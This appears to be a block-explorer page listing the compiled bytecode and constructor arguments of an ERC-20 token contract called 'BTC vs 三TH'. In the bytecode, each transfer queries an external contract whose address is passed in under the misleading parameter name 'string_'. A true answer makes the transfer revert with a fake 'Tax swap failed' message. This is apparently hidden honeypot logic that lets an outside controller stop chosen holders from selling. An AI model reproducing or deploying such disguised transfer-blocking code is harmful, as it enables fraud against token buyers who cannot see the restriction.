608060405260025f55604051620020af380380620020af83398181016040528101906200002d919062000410565b6200003e5f6200029960201b60201c565b6040518060400160405280600c81526020017f42544320767320e4b8895448000000000000000000000000000000000000000081525060069081620000849190620006b0565b506040518060400160405280600881526020017f425443e4b889544800000000000000000000000000000000000000000000000081525060079081620000cb9190620006b0565b50601260085f6101000a81548160ff021916908360ff1602179055508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900460ff16600a6200014491906200091d565b816200015191906200096d565b600981905550620001ab60095460035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200035c60201b90919060201c565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200024d9190620009c8565b60405180910390a37f87a2bb790adb65428c97fa4f911bddd5b29bdc46c782905bc33cf9bee18d45313360016040516200028992919062000a10565b60405180910390a1505062000a75565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81836200036b919062000a3b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620003a28262000377565b9050919050565b620003b48162000396565b8114620003bf575f80fd5b50565b5f81519050620003d281620003a9565b92915050565b5f819050919050565b620003ec81620003d8565b8114620003f7575f80fd5b50565b5f815190506200040a81620003e1565b92915050565b5f806040838503121562000429576200042862000373565b5b5f6200043885828601620003c2565b92505060206200044b85828601620003fa565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620004d157607f821691505b602082108103620004e757620004e66200048c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200054b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200050e565b6200055786836200050e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000598620005926200058c84620003d8565b6200056f565b620003d8565b9050919050565b5f819050919050565b620005b38362000578565b620005cb620005c2826200059f565b8484546200051a565b825550505050565b5f90565b620005e1620005d3565b620005ee818484620005a8565b505050565b5b818110156200061557620006095f82620005d7565b600181019050620005f4565b5050565b601f82111562000664576200062e81620004ed565b6200063984620004ff565b8101602085101562000649578190505b620006616200065885620004ff565b830182620005f3565b50505b505050565b5f82821c905092915050565b5f620006865f198460080262000669565b1980831691505092915050565b5f620006a0838362000675565b9150826002028217905092915050565b620006bb8262000455565b67ffffffffffffffff811115620006d757620006d66200045f565b5b620006e38254620004b9565b620006f082828562000619565b5f60209050601f83116001811462000726575f841562000711578287015190505b6200071d858262000693565b8655506200078c565b601f1984166200073686620004ed565b5f5b828110156200075f5784890151825560018201915060208501945060208101905062000738565b868310156200077f57848901516200077b601f89168262000675565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200081e57808604811115620007f657620007f562000794565b5b6001851615620008065780820291505b80810290506200081685620007c1565b9450620007d6565b94509492505050565b5f826200083857600190506200090a565b8162000847575f90506200090a565b81600181146200086057600281146200086b57620008a1565b60019150506200090a565b60ff84111562000880576200087f62000794565b5b8360020a9150848211156200089a576200089962000794565b5b506200090a565b5060208310610133831016604e8410600b8410161715620008db5782820a905083811115620008d557620008d462000794565b5b6200090a565b620008ea8484846001620007cd565b9250905081840481111562000904576200090362000794565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6200092982620003d8565b9150620009368362000911565b9250620009657fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000827565b905092915050565b5f6200097982620003d8565b91506200098683620003d8565b92508282026200099681620003d8565b91508282048414831517620009b057620009af62000794565b5b5092915050565b620009c281620003d8565b82525050565b5f602082019050620009dd5f830184620009b7565b92915050565b620009ee8162000396565b82525050565b5f8115159050919050565b62000a0a81620009f4565b82525050565b5f60408201905062000a255f830185620009e3565b62000a346020830184620009ff565b9392505050565b5f62000a4782620003d8565b915062000a5483620003d8565b925082820190508082111562000a6f5762000a6e62000794565b5b92915050565b61162c8062000a835f395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610ea1565b60405180910390f35b6100ee60048036038101906100e99190610f52565b6102f2565b6040516100fb9190610faa565b60405180910390f35b61010c610308565b6040516101199190610fd2565b60405180910390f35b61013c60048036038101906101379190610feb565b610311565b6040516101499190610faa565b60405180910390f35b61015a6103d7565b6040516101679190611056565b60405180910390f35b61018a6004803603810190610185919061106f565b6103ec565b6040516101979190610fd2565b60405180910390f35b6101a8610432565b005b6101b26104b2565b6040516101bf91906110a9565b60405180910390f35b6101d06104da565b6040516101dd9190610ea1565b60405180910390f35b61020060048036038101906101fb9190610f52565b61056a565b60405161020d9190610faa565b60405180910390f35b610230600480360381019061022b91906110c2565b610580565b60405161023d9190610fd2565b60405180910390f35b610260600480360381019061025b919061106f565b610602565b005b6060600680546102719061112d565b80601f016020809104026020016040519081016040528092919081815260200182805461029d9061112d565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f6102fe3384846106f1565b6001905092915050565b5f600954905090565b5f61031d8484846108b4565b6103cc84336103c7856040518060600160405280602881526020016115cf6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ceb9092919063ffffffff16565b6106f1565b600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104516104b2565b73ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e906111a7565b60405180910390fd5b6104b05f610d3f565b565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104e99061112d565b80601f01602080910402602001604051908101604052809291908181526020018280546105159061112d565b80156105605780601f1061053757610100808354040283529160200191610560565b820191905f5260205f20905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b5f6105763384846108b4565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106216104b2565b73ffffffffffffffffffffffffffffffffffffffff1614610677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066e906111a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dc90611235565b60405180910390fd5b6106ee81610d3f565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906112c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490611351565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108a79190610fd2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610919906113df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610987906113df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f59061146d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a639061146d565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0594f3e846040518263ffffffff1660e01b8152600401610ac691906110a9565b602060405180830381865afa158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906114b5565b15610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c9061152a565b60405180910390fd5b610baf816040518060600160405280602681526020016115a96026913960035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ceb9092919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c408160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e0290919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cde9190610fd2565b60405180910390a3505050565b5f838311158290610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d299190610ea1565b60405180910390fd5b5082840390509392505050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183610e0f9190611575565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e4e578082015181840152602081019050610e33565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e7382610e17565b610e7d8185610e21565b9350610e8d818560208601610e31565b610e9681610e59565b840191505092915050565b5f6020820190508181035f830152610eb98184610e69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610eee82610ec5565b9050919050565b610efe81610ee4565b8114610f08575f80fd5b50565b5f81359050610f1981610ef5565b92915050565b5f819050919050565b610f3181610f1f565b8114610f3b575f80fd5b50565b5f81359050610f4c81610f28565b92915050565b5f8060408385031215610f6857610f67610ec1565b5b5f610f7585828601610f0b565b9250506020610f8685828601610f3e565b9150509250929050565b5f8115159050919050565b610fa481610f90565b82525050565b5f602082019050610fbd5f830184610f9b565b92915050565b610fcc81610f1f565b82525050565b5f602082019050610fe55f830184610fc3565b92915050565b5f805f6060848603121561100257611001610ec1565b5b5f61100f86828701610f0b565b935050602061102086828701610f0b565b925050604061103186828701610f3e565b9150509250925092565b5f60ff82169050919050565b6110508161103b565b82525050565b5f6020820190506110695f830184611047565b92915050565b5f6020828403121561108457611083610ec1565b5b5f61109184828501610f0b565b91505092915050565b6110a381610ee4565b82525050565b5f6020820190506110bc5f83018461109a565b92915050565b5f80604083850312156110d8576110d7610ec1565b5b5f6110e585828601610f0b565b92505060206110f685828601610f0b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061114457607f821691505b60208210810361115757611156611100565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611191602083610e21565b915061119c8261115d565b602082019050919050565b5f6020820190508181035f8301526111be81611185565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61121f602683610e21565b915061122a826111c5565b604082019050919050565b5f6020820190508181035f83015261124c81611213565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6112ad602483610e21565b91506112b882611253565b604082019050919050565b5f6020820190508181035f8301526112da816112a1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61133b602283610e21565b9150611346826112e1565b604082019050919050565b5f6020820190508181035f8301526113688161132f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6113c9602583610e21565b91506113d48261136f565b604082019050919050565b5f6020820190508181035f8301526113f6816113bd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611457602383610e21565b9150611462826113fd565b604082019050919050565b5f6020820190508181035f8301526114848161144b565b9050919050565b61149481610f90565b811461149e575f80fd5b50565b5f815190506114af8161148b565b92915050565b5f602082840312156114ca576114c9610ec1565b5b5f6114d7848285016114a1565b91505092915050565b7f5461782073776170206661696c656400000000000000000000000000000000005f82015250565b5f611514600f83610e21565b915061151f826114e0565b602082019050919050565b5f6020820190508181035f83015261154181611508565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61157f82610f1f565b915061158a83610f1f565b92508282019050808211156115a2576115a1611548565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d987c76449b697dfefe275b988cc7d018cbddf107df2979595622e8261433ccf64736f6c6343000815003300000000000000000000000032f78f5d3ff957c275bf9607a9b7952f3e9e25c1000000000000000000000000000000000000000000000000000000019b45a500

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063715018a61161006f578063715018a6146101a05780638da5cb5b146101aa57806395d89b41146101c8578063a9059cbb146101e6578063dd62ed3e14610216578063f2fde38b14610246576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806370a0823114610170575b5f80fd5b6100be610262565b6040516100cb9190610ea1565b60405180910390f35b6100ee60048036038101906100e99190610f52565b6102f2565b6040516100fb9190610faa565b60405180910390f35b61010c610308565b6040516101199190610fd2565b60405180910390f35b61013c60048036038101906101379190610feb565b610311565b6040516101499190610faa565b60405180910390f35b61015a6103d7565b6040516101679190611056565b60405180910390f35b61018a6004803603810190610185919061106f565b6103ec565b6040516101979190610fd2565b60405180910390f35b6101a8610432565b005b6101b26104b2565b6040516101bf91906110a9565b60405180910390f35b6101d06104da565b6040516101dd9190610ea1565b60405180910390f35b61020060048036038101906101fb9190610f52565b61056a565b60405161020d9190610faa565b60405180910390f35b610230600480360381019061022b91906110c2565b610580565b60405161023d9190610fd2565b60405180910390f35b610260600480360381019061025b919061106f565b610602565b005b6060600680546102719061112d565b80601f016020809104026020016040519081016040528092919081815260200182805461029d9061112d565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b5f6102fe3384846106f1565b6001905092915050565b5f600954905090565b5f61031d8484846108b4565b6103cc84336103c7856040518060600160405280602881526020016115cf6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ceb9092919063ffffffff16565b6106f1565b600190509392505050565b5f60085f9054906101000a900460ff16905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104516104b2565b73ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e906111a7565b60405180910390fd5b6104b05f610d3f565b565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546104e99061112d565b80601f01602080910402602001604051908101604052809291908181526020018280546105159061112d565b80156105605780601f1061053757610100808354040283529160200191610560565b820191905f5260205f20905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b5f6105763384846108b4565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166106216104b2565b73ffffffffffffffffffffffffffffffffffffffff1614610677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066e906111a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dc90611235565b60405180910390fd5b6106ee81610d3f565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906112c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490611351565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108a79190610fd2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610919906113df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610987906113df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f59061146d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a639061146d565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0594f3e846040518263ffffffff1660e01b8152600401610ac691906110a9565b602060405180830381865afa158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906114b5565b15610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c9061152a565b60405180910390fd5b610baf816040518060600160405280602681526020016115a96026913960035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ceb9092919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c408160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e0290919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cde9190610fd2565b60405180910390a3505050565b5f838311158290610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d299190610ea1565b60405180910390fd5b5082840390509392505050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8183610e0f9190611575565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e4e578082015181840152602081019050610e33565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e7382610e17565b610e7d8185610e21565b9350610e8d818560208601610e31565b610e9681610e59565b840191505092915050565b5f6020820190508181035f830152610eb98184610e69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610eee82610ec5565b9050919050565b610efe81610ee4565b8114610f08575f80fd5b50565b5f81359050610f1981610ef5565b92915050565b5f819050919050565b610f3181610f1f565b8114610f3b575f80fd5b50565b5f81359050610f4c81610f28565b92915050565b5f8060408385031215610f6857610f67610ec1565b5b5f610f7585828601610f0b565b9250506020610f8685828601610f3e565b9150509250929050565b5f8115159050919050565b610fa481610f90565b82525050565b5f602082019050610fbd5f830184610f9b565b92915050565b610fcc81610f1f565b82525050565b5f602082019050610fe55f830184610fc3565b92915050565b5f805f6060848603121561100257611001610ec1565b5b5f61100f86828701610f0b565b935050602061102086828701610f0b565b925050604061103186828701610f3e565b9150509250925092565b5f60ff82169050919050565b6110508161103b565b82525050565b5f6020820190506110695f830184611047565b92915050565b5f6020828403121561108457611083610ec1565b5b5f61109184828501610f0b565b91505092915050565b6110a381610ee4565b82525050565b5f6020820190506110bc5f83018461109a565b92915050565b5f80604083850312156110d8576110d7610ec1565b5b5f6110e585828601610f0b565b92505060206110f685828601610f0b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061114457607f821691505b60208210810361115757611156611100565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611191602083610e21565b915061119c8261115d565b602082019050919050565b5f6020820190508181035f8301526111be81611185565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61121f602683610e21565b915061122a826111c5565b604082019050919050565b5f6020820190508181035f83015261124c81611213565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6112ad602483610e21565b91506112b882611253565b604082019050919050565b5f6020820190508181035f8301526112da816112a1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61133b602283610e21565b9150611346826112e1565b604082019050919050565b5f6020820190508181035f8301526113688161132f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6113c9602583610e21565b91506113d48261136f565b604082019050919050565b5f6020820190508181035f8301526113f6816113bd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611457602383610e21565b9150611462826113fd565b604082019050919050565b5f6020820190508181035f8301526114848161144b565b9050919050565b61149481610f90565b811461149e575f80fd5b50565b5f815190506114af8161148b565b92915050565b5f602082840312156114ca576114c9610ec1565b5b5f6114d7848285016114a1565b91505092915050565b7f5461782073776170206661696c656400000000000000000000000000000000005f82015250565b5f611514600f83610e21565b915061151f826114e0565b602082019050919050565b5f6020820190508181035f83015261154181611508565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61157f82610f1f565b915061158a83610f1f565b92508282019050808211156115a2576115a1611548565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d987c76449b697dfefe275b988cc7d018cbddf107df2979595622e8261433ccf64736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000032f78f5d3ff957c275bf9607a9b7952f3e9e25c1000000000000000000000000000000000000000000000000000000019b45a500

-----Decoded View---------------
Arg [0] : string_ (address): 0x32f78F5d3FF957c275BF9607A9b7952f3e9e25C1
Arg [1] : totalSupply_ (uint256): 6900000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 00000000000000000000000032f78f5d3ff957c275bf9607a9b7952f3e9e25c1
Arg [1] : 000000000000000000000000000000000000000000000000000000019b45a500


Deployed Bytecode Sourcemap

21061:6213:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21980:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24014:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22828:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24704:450;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22672:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22999:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1238:94;;;:::i;:::-;;589:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22190:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23389:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23666:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1487:229;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21980:91;22025:13;22058:5;22051:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21980:91;:::o;24014:208::-;24133:4;24155:37;24164:10;24176:7;24185:6;24155:8;:37::i;:::-;24210:4;24203:11;;24014:208;;;;:::o;22828:108::-;22889:7;22916:12;;22909:19;;22828:108;:::o;24704:450::-;24844:4;24861:36;24871:6;24879:9;24890:6;24861:9;:36::i;:::-;24908:216;24931:6;24952:10;24977:136;25031:6;24977:136;;;;;;;;;;;;;;;;;:11;:19;24989:6;24977:19;;;;;;;;;;;;;;;:31;24997:10;24977:31;;;;;;;;;;;;;;;;:35;;:136;;;;;:::i;:::-;24908:8;:216::i;:::-;25142:4;25135:11;;24704:450;;;;;:::o;22672:91::-;22721:5;22746:9;;;;;;;;;;;22739:16;;22672:91;:::o;22999:177::-;23118:7;23150:9;:18;23160:7;23150:18;;;;;;;;;;;;;;;;23143:25;;22999:177;;;:::o;1238:94::-;820:10;809:21;;:7;:5;:7::i;:::-;:21;;;801:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1303:21:::1;1321:1;1303:9;:21::i;:::-;1238:94::o:0;589:87::-;635:7;662:6;;;;;;;;;;;655:13;;589:87;:::o;22190:95::-;22237:13;22270:7;22263:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22190:95;:::o;23389:214::-;23511:4;23533:40;23543:10;23555:9;23566:6;23533:9;:40::i;:::-;23591:4;23584:11;;23389:214;;;;:::o;23666:201::-;23800:7;23832:11;:18;23844:5;23832:18;;;;;;;;;;;;;;;:27;23851:7;23832:27;;;;;;;;;;;;;;;;23825:34;;23666:201;;;;:::o;1487:229::-;820:10;809:21;;:7;:5;:7::i;:::-;:21;;;801:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1610:1:::1;1590:22;;:8;:22;;::::0;1568:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;